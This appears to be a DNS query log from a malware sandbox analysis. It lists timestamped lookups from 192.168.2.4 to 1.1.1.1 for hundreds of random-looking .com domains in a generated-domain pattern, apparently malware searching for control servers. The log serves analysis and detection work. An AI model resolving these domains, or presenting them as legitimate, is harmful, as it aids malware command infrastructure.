                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.268048048 CET192.168.2.41.1.1.10x94faStandard query (0)qexyfag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.268481016 CET192.168.2.41.1.1.10xa098Standard query (0)lyrywoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.269501925 CET192.168.2.41.1.1.10x165eStandard query (0)puzydog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.273941994 CET192.168.2.41.1.1.10x9a29Standard query (0)qeqyqul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.281418085 CET192.168.2.41.1.1.10x63b1Standard query (0)gacyfeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.281848907 CET192.168.2.41.1.1.10xc234Standard query (0)gaqyqiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.282701015 CET192.168.2.41.1.1.10x23c8Standard query (0)vowyqik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.283143997 CET192.168.2.41.1.1.10x4a5dStandard query (0)vofyzyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.349322081 CET192.168.2.41.1.1.10x80f1Standard query (0)lymyjix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.351381063 CET192.168.2.41.1.1.10xf3c4Standard query (0)gahycuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.356417894 CET192.168.2.41.1.1.10x1dceStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.381236076 CET192.168.2.41.1.1.10x1f1fStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.382958889 CET192.168.2.41.1.1.10x8519Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.385231972 CET192.168.2.41.1.1.10xd053Standard query (0)lyxyfan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.431178093 CET192.168.2.41.1.1.10x38e4Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.445661068 CET192.168.2.41.1.1.10xa760Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.448322058 CET192.168.2.41.1.1.10x8f42Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.451750994 CET192.168.2.41.1.1.10x5b03Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.453109980 CET192.168.2.41.1.1.10x7b9bStandard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.453911066 CET192.168.2.41.1.1.10x4589Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.454583883 CET192.168.2.41.1.1.10x4424Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.454794884 CET192.168.2.41.1.1.10x8d59Standard query (0)pufyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.455362082 CET192.168.2.41.1.1.10x31eaStandard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.456348896 CET192.168.2.41.1.1.10x5420Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.457381964 CET192.168.2.41.1.1.10x6a89Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.457674026 CET192.168.2.41.1.1.10xf986Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.461086035 CET192.168.2.41.1.1.10x1cc4Standard query (0)lygyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.493907928 CET192.168.2.41.1.1.10xfa0eStandard query (0)qegyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.530558109 CET192.168.2.41.1.1.10x678fStandard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.536252975 CET192.168.2.41.1.1.10x1a9eStandard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.536628008 CET192.168.2.41.1.1.10x3660Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.539457083 CET192.168.2.41.1.1.10xc585Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.567287922 CET192.168.2.41.1.1.10x9405Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.568083048 CET192.168.2.41.1.1.10x5a90Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.580452919 CET192.168.2.41.1.1.10x298dStandard query (0)galyvaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.580820084 CET192.168.2.41.1.1.10xb64Standard query (0)qedytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.581144094 CET192.168.2.41.1.1.10xe2bcStandard query (0)pujycil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.581438065 CET192.168.2.41.1.1.10xb5bcStandard query (0)vopyrem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.581748962 CET192.168.2.41.1.1.10x899eStandard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.581976891 CET192.168.2.41.1.1.10xaa00Standard query (0)pumyjip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.582221031 CET192.168.2.41.1.1.10x2cfcStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.582561970 CET192.168.2.41.1.1.10x9966Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.582825899 CET192.168.2.41.1.1.10xd579Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.583266020 CET192.168.2.41.1.1.10x7c76Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.583440065 CET192.168.2.41.1.1.10x1cc7Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.583597898 CET192.168.2.41.1.1.10x8743Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.583816051 CET192.168.2.41.1.1.10x5404Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.584238052 CET192.168.2.41.1.1.10xd2b7Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.584543943 CET192.168.2.41.1.1.10x7a32Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.584779024 CET192.168.2.41.1.1.10xa96eStandard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.585133076 CET192.168.2.41.1.1.10x5af3Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.613158941 CET192.168.2.41.1.1.10x7f62Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.613392115 CET192.168.2.41.1.1.10x7d38Standard query (0)lysytyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.617429972 CET192.168.2.41.1.1.10x1fb8Standard query (0)qebyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.621323109 CET192.168.2.41.1.1.10x68d3Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.621659040 CET192.168.2.41.1.1.10x111bStandard query (0)vocygef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.621833086 CET192.168.2.41.1.1.10x6aa0Standard query (0)lykyvor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.623766899 CET192.168.2.41.1.1.10x6f76Standard query (0)ganyhus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.624058962 CET192.168.2.41.1.1.10xf959Standard query (0)qekyvol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.624743938 CET192.168.2.41.1.1.10xb6d4Standard query (0)gatyrah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.624769926 CET192.168.2.41.1.1.10xd287Standard query (0)vonyjuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.625241995 CET192.168.2.41.1.1.10xd3bdStandard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.625447035 CET192.168.2.41.1.1.10x67fdStandard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.625799894 CET192.168.2.41.1.1.10x4dccStandard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.626409054 CET192.168.2.41.1.1.10x56b8Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.626595974 CET192.168.2.41.1.1.10x5626Standard query (0)vojycit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.626775026 CET192.168.2.41.1.1.10x480Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.627155066 CET192.168.2.41.1.1.10xfa0bStandard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.627307892 CET192.168.2.41.1.1.10xd1ecStandard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.627933979 CET192.168.2.41.1.1.10x41e6Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.628377914 CET192.168.2.41.1.1.10xbe6fStandard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.628570080 CET192.168.2.41.1.1.10x345Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.628791094 CET192.168.2.41.1.1.10x78beStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.629018068 CET192.168.2.41.1.1.10xca61Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.653260946 CET192.168.2.41.1.1.10xa9d9Standard query (0)purywoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662213087 CET192.168.2.41.1.1.10x4673Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662410021 CET192.168.2.41.1.1.10x4f97Standard query (0)puvygyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662538052 CET192.168.2.41.1.1.10x4e96Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662566900 CET192.168.2.41.1.1.10x1ed5Standard query (0)lyvygyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662722111 CET192.168.2.41.1.1.10xe76dStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.664469957 CET192.168.2.41.1.1.10xecf9Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.666105032 CET192.168.2.41.1.1.10x1d0fStandard query (0)pupyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.666312933 CET192.168.2.41.1.1.10xb980Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.666629076 CET192.168.2.41.1.1.10x497eStandard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.666893005 CET192.168.2.41.1.1.10x32ceStandard query (0)qetyraq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.518954992 CET192.168.2.41.1.1.10xf912Standard query (0)lygyfex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.519527912 CET192.168.2.41.1.1.10xd669Standard query (0)lymylyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.523653984 CET192.168.2.41.1.1.10x5b53Standard query (0)qeqylyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.524151087 CET192.168.2.41.1.1.10xa178Standard query (0)lyxymin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.534986019 CET192.168.2.41.1.1.10xc140Standard query (0)volymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.541269064 CET192.168.2.41.1.1.10x8c68Standard query (0)puzymig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.549218893 CET192.168.2.41.1.1.10xfc80Standard query (0)gadydas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.549623013 CET192.168.2.41.1.1.10xb46fStandard query (0)qexyqog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.553219080 CET192.168.2.41.1.1.10x9ed4Standard query (0)puryxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.553419113 CET192.168.2.41.1.1.10x2ff0Standard query (0)qegyfyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.554016113 CET192.168.2.41.1.1.10x29f4Standard query (0)lyryxij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.554831028 CET192.168.2.41.1.1.10xc2f1Standard query (0)qetyxiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.554903030 CET192.168.2.41.1.1.10xe703Standard query (0)vofydac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.555893898 CET192.168.2.41.1.1.10xe04bStandard query (0)puvywav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.556046963 CET192.168.2.41.1.1.10x671fStandard query (0)vojygut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.556595087 CET192.168.2.41.1.1.10xca4cStandard query (0)lyvywed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.556890011 CET192.168.2.41.1.1.10xf726Standard query (0)gahyfyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.557090044 CET192.168.2.41.1.1.10x73b8Standard query (0)gatycoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.557529926 CET192.168.2.41.1.1.10xb89aStandard query (0)pujygul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.557735920 CET192.168.2.41.1.1.10x3639Standard query (0)qebyrev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.558262110 CET192.168.2.41.1.1.10x21f9Standard query (0)vonyryc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.560182095 CET192.168.2.41.1.1.10xebStandard query (0)vopycom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.561017036 CET192.168.2.41.1.1.10x2228Standard query (0)ganyrys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.561103106 CET192.168.2.41.1.1.10x2d1cStandard query (0)gadyveb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.561625957 CET192.168.2.41.1.1.10x942bStandard query (0)vowyzuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.561872959 CET192.168.2.41.1.1.10x56f9Standard query (0)volyjok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.562192917 CET192.168.2.41.1.1.10x3217Standard query (0)qedyveg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.571168900 CET192.168.2.41.1.1.10x9d6fStandard query (0)lykymox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.574093103 CET192.168.2.41.1.1.10x2a10Standard query (0)qebylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.574891090 CET192.168.2.41.1.1.10x4ef7Standard query (0)gacyqob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.576112986 CET192.168.2.41.1.1.10x7748Standard query (0)qegynuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.577033043 CET192.168.2.41.1.1.10x93b1Standard query (0)lymytux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.577555895 CET192.168.2.41.1.1.10x4870Standard query (0)puzyjoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.579221010 CET192.168.2.41.1.1.10x3b7bStandard query (0)lyvylyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.582842112 CET192.168.2.41.1.1.10x2011Standard query (0)pujymip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.583056927 CET192.168.2.41.1.1.10x7ebeStandard query (0)purypol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.584383965 CET192.168.2.41.1.1.10x33e8Standard query (0)qetysal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.702537060 CET192.168.2.41.1.1.10x7c54Standard query (0)lykygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.702655077 CET192.168.2.41.1.1.10xd96aStandard query (0)galyhiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.702800035 CET192.168.2.41.1.1.10xba9eStandard query (0)vopydek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.702922106 CET192.168.2.41.1.1.10x5317Standard query (0)ganyzub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.703027964 CET192.168.2.41.1.1.10x3704Standard query (0)gaqyzuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.703134060 CET192.168.2.41.1.1.10x3611Standard query (0)pumytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.703227043 CET192.168.2.41.1.1.10x76bfStandard query (0)gacykeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.703408957 CET192.168.2.41.1.1.10x9e0fStandard query (0)vowypit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.706604958 CET192.168.2.41.1.1.10x9d3aStandard query (0)qekyhil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.707207918 CET192.168.2.41.1.1.10xc30Standard query (0)qexykaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.707360983 CET192.168.2.41.1.1.10x6df3Standard query (0)qeqytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.707402945 CET192.168.2.41.1.1.10x70edStandard query (0)vocykem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.707555056 CET192.168.2.41.1.1.10x8c33Standard query (0)puvylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.707663059 CET192.168.2.41.1.1.10xb92fStandard query (0)gatydaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.707756996 CET192.168.2.41.1.1.10x3f24Standard query (0)pufydep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.707863092 CET192.168.2.41.1.1.10xcae0Standard query (0)vojymic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.708116055 CET192.168.2.41.1.1.10x161Standard query (0)vofybyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.708138943 CET192.168.2.41.1.1.10x8e14Standard query (0)gahynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.708322048 CET192.168.2.41.1.1.10x6817Standard query (0)gaqypiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.708340883 CET192.168.2.41.1.1.10x8e6eStandard query (0)vocyqaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.708507061 CET192.168.2.41.1.1.10xe463Standard query (0)lyxyjaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.708539963 CET192.168.2.41.1.1.10x18f2Standard query (0)pufybyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.336927891 CET192.168.2.41.1.1.10x6c77Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.338376999 CET192.168.2.41.1.1.10xd0cbStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.338721037 CET192.168.2.41.1.1.10xd74fStandard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.339337111 CET192.168.2.41.1.1.10x9264Standard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.394316912 CET192.168.2.41.1.1.10xd08Standard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.395874023 CET192.168.2.41.1.1.10xe73bStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.432735920 CET192.168.2.41.1.1.10x56e5Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.433062077 CET192.168.2.41.1.1.10x6890Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.433567047 CET192.168.2.41.1.1.10xdf9fStandard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.434478045 CET192.168.2.41.1.1.10x6d22Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.816178083 CET192.168.2.41.1.1.10x8e3eStandard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.817883968 CET192.168.2.41.1.1.10x6e5bStandard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.819248915 CET192.168.2.41.1.1.10x5a54Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.824759960 CET192.168.2.41.1.1.10x8319Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.869956017 CET192.168.2.41.1.1.10xed44Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.895203114 CET192.168.2.41.1.1.10x6e3Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.900372982 CET192.168.2.41.1.1.10xe63Standard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.908106089 CET192.168.2.41.1.1.10x3198Standard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.911247969 CET192.168.2.41.1.1.10x90c5Standard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.916265011 CET192.168.2.41.1.1.10xc827Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.918514967 CET192.168.2.41.1.1.10x9b23Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.921060085 CET192.168.2.41.1.1.10x99f4Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.921403885 CET192.168.2.41.1.1.10xb191Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.923229933 CET192.168.2.41.1.1.10xeabStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:54.926990032 CET192.168.2.41.1.1.10xfb39Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.418317080 CET192.168.2.41.1.1.10x9264Standard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.323262930 CET192.168.2.41.1.1.10xc43Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.374404907 CET192.168.2.41.1.1.10x14baStandard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.374404907 CET192.168.2.41.1.1.10xc90aStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.374819040 CET192.168.2.41.1.1.10x9554Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.375304937 CET192.168.2.41.1.1.10x7deeStandard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.375304937 CET192.168.2.41.1.1.10x16dStandard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.375586987 CET192.168.2.41.1.1.10xef53Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.375586987 CET192.168.2.41.1.1.10x7d32Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.375880003 CET192.168.2.41.1.1.10x44a2Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.375880003 CET192.168.2.41.1.1.10x6b26Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.381325006 CET192.168.2.41.1.1.10x9905Standard query (0)purycap.comA (IP address)IN (0x0001)false
